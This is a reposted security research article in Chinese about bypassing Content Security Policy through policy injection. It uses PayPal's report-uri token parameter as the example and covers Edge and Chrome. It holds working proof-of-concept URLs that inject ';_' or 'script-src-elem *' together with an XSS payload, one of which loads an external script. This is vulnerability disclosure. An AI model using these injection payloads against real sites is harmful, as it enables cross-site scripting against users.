1. 首页
  2. 渗透测试

通过策略注入绕过CSP

通过策略注入绕过CSP

在测试PayPal寻找绕过CSP和混合内容保护的方法时,我发现了一个有趣的行为。PayPal在他们的CSP的report-uri指令中放置了一个名为token的GET参数。我发现通过更改令牌参数,可以将指令注入策略。大多数浏览器只是跳过无效的CSP指令,但Edge表现不同。如果遇到无效语法,Edge将删除整个策略!我模糊了Edge以找到尽可能少的字符打破CSP的方法,并发现你可以简单地使用分号和下划线。因此,如果您加载了以下URL:

https://www.paypal.com/webapps/xoonboarding?values=etc&token = SOMETOKEN; _

您将获得此CSP标头:

Content-Security-Policy: default-src 'self' https://*.paypal.com https://*.paypal.com:* https://*.paypalobjects.com 'unsafe-eval';connect-src 'self' https://*.paypal.com https://nexus.ensighten.com https://*.paypalobjects.com;frame-src 'self' https://*.paypal.com https://*.paypalobjects.com https://*.cardinalcommerce.com;script-src https://*.paypal.com https://*.paypalobjects.com 'unsafe-inline' 'unsafe-eval';style-src 'self' https://*.paypal.com https://*.paypalobjects.com 'unsafe-inline';img-src https: data:;object-src 'none'; report-uri /webapps/xoonboarding/api/log/csp?token=SOMETOKEN;_

而Edge将放弃整个政策。

为了看到它的实际应用,我创建了一个简单的PoC:

Edge CSP绕过使用策略注入

http://www.agesec.com/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

当然几乎没有人使用Edge,所以我想到了Chrome。由于Chrome忽略了无效指令,并且我们的注入发生在策略的最后,我需要一种覆盖指令的方法。我发现了最近提出的一个名为“ script-src-elem ”的指令。该指令允许您仅控制脚本块并创建,以便您可以允许事件处理程序但阻止脚本元素,例如:

Content-Security-Policy: script-src-elem 'none'; script-src-attr 'unsafe-inline'

<script>alert("This will be blocked")</script>
<a href="#" onclick="alert('This will be allowed')">test</a>

关于这个指令的有趣之处在于它将覆盖现有的script-src指令!因此,如果您有策略注入,您可以使用它来绕过CSP。这是适用于Chrome的PoC:

使用策略注入的Chrome CSP绕过:

http://www.agesec.com/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

文章来源:【安全时代】 原文链接:https://www.agesec.com/2485.html

安全时代全部内容仅适用于网络安全技术爱好者学习研究,学习中请遵循国家相关法律法规。

安全时代全部数据来源互联网,不代表安全时代立场,如侵犯您权益可邮箱联系我们,详情:版权纠纷

发表评论

登录后才能评论